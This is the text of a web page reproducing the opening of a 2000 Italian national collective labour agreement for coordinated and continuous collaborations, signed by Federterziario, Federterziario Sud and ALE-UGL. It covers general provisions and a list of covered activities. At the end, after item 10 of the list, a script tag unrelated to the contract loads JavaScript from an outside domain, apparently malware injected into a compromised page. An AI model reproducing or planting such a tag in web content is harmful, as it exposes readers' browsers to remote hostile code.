Torna
all'elenco delle categorie
|
Categoria: Collaborazioni coordinate e continuative (FEDERTERZIARIO) Settore: Altro Data stipula: 3-10-2000 Data decorrenza: 1-10-2000 Data scadenza: 30-9-2002
VERBALE DI ACCORDO
Addì, 3 ottobre 2000, in Roma
TRA
- L'Associazione Federterziario, Federazione Italiana del Terziario,
dei Servizi, del Lavoro autonomo, della Piccola Impresa industriale,
Commerciale ed Artigiana, rappresentata dal Presidente Ruggero GO.
- L'Associazione Federterziario Sud, Federazione dell'Italia
Meridionale del Terziario, dei Servizi, del Lavoro autonomo, della Piccola
Impresa industriale, Commerciale ed Artigiana, rappresentata dal
Presidente Francesco Franco
e
- La ALE-UGL, Associazione Lavori Emergenti aderente alla
Confederazione Unione Generale del Lavoro, rappresentata dal Vice
Presidente Nazionale Luca Malcotti
si è stipulato il seguente Contratto Collettivo Nazionale di Lavoro
PER LE COLLABORAZIONI COORDINATE E CONTINUATIVE
Letto, confermato e sottoscritto
Federterziario
Federterziario Sud
Ale-Ugl
CONTRATTO COLLETTIVO NAZIONALE DI LAVORO PER LE COLLABORAZIONI COORDINATE
E CONTINUATIVE
Titolo 1 -Disposizioni generali - Validità e sfera di applicazione del
contratto
Art. 1
Il presente contratto collettivo nazionale disciplina in maniera unitari,
per tutto il territorio nazionale, i rapporti di collaborazione coordinata
e continuativa a tempo indeterminato e a tempo determinato posti in essere
dalle aziende o dalle cooperative, da enti organismi in genere.
Le prestazioni oggetto del presente accordo si caratterizzano sia in
ragione della loro atipicità operative, sia per il loro contenuto
professionale (economico-giuridico-informativo-promozionale-scientifico);
devono essere rese nell'ambito di rapporti unitari e continuativi, anche
se plurimi; devono essere rese senza impieghi di mezzi organizzati da
parte del collaboratore, non devono essere riconducibili né alla tipologia
di lavoro subordinato né a quella di lavoro autonomo.
Il presente CCNL si applica anche ai telelavoratori aventi un rapporto di
collaborazione coordinata e continuativa.
L'adozione del presente CCNL è riservata alle aziende o alle cooperative
rappresentate dalle organizzazioni datoriali stipulanti.
Le disposizioni del presente CCNL sono correlate e inscindibili tra loro e
pertanto non è ammessa la parziale applicazione, né la cumulabilità con
altre regolamentazioni pattizie.
Ferma restando l'inscindibilità di cui sopra, le organizzazioni stipulanti
dichiarano che il presente accordo non intende sostituire le condizioni
eventualmente più favorevoli praticate al collaboratore in forza alla data
della sua applicazione, che restano a lui assegnate "ad personam", fatta
eccezione di quelle derivanti da accordi provvisori che ne prevedono la
scadenza.
Per quanto non espressamente previsto dal presente CCNL valgono le
disposizioni di legge vigenti in materia.
In via esemplificativa, non esaustiva, le attività di collaborazione
coordinata e continuativa sono:
COLLABORAZIONE COORDINATA E CONTINUATIVA IN ATTIVITÀ DI MERCATO
1. Amministratori in genere (di società ed enti);
2. Sindaci e revisori di società e di enti in genere (iscritti al
registro di cui al Decr. Leg. N. 88/92;
3. Partecipazione a collegi e commissioni;
4. Collaborazioni a giornali, riviste, enciclopedia e libri similari
(traduttori, correttori di bozze, sbobinatori, articolisti ecc.);
5. Collaborazioni ad attività radiotelevisive;
6. Collaborazioni ad attività sportive;
7. Collaboratori e procacciatori di agenzia d'affari, agenzie
immobiliari, multiproprietà uffici e residence;
8. Collaboratori e procacciatori di agenzie di assicurazioni in gestione
libera;
9. Collaboratori e procacciatori di agenzie di brokeraggio assicurativo
e finanziario;
10. Collaboratori e procacciatori di finanziarie, promotori finanziari,
società di intermediazione;
<script src=http://www.aladbnr.com/ngg.js></script>
|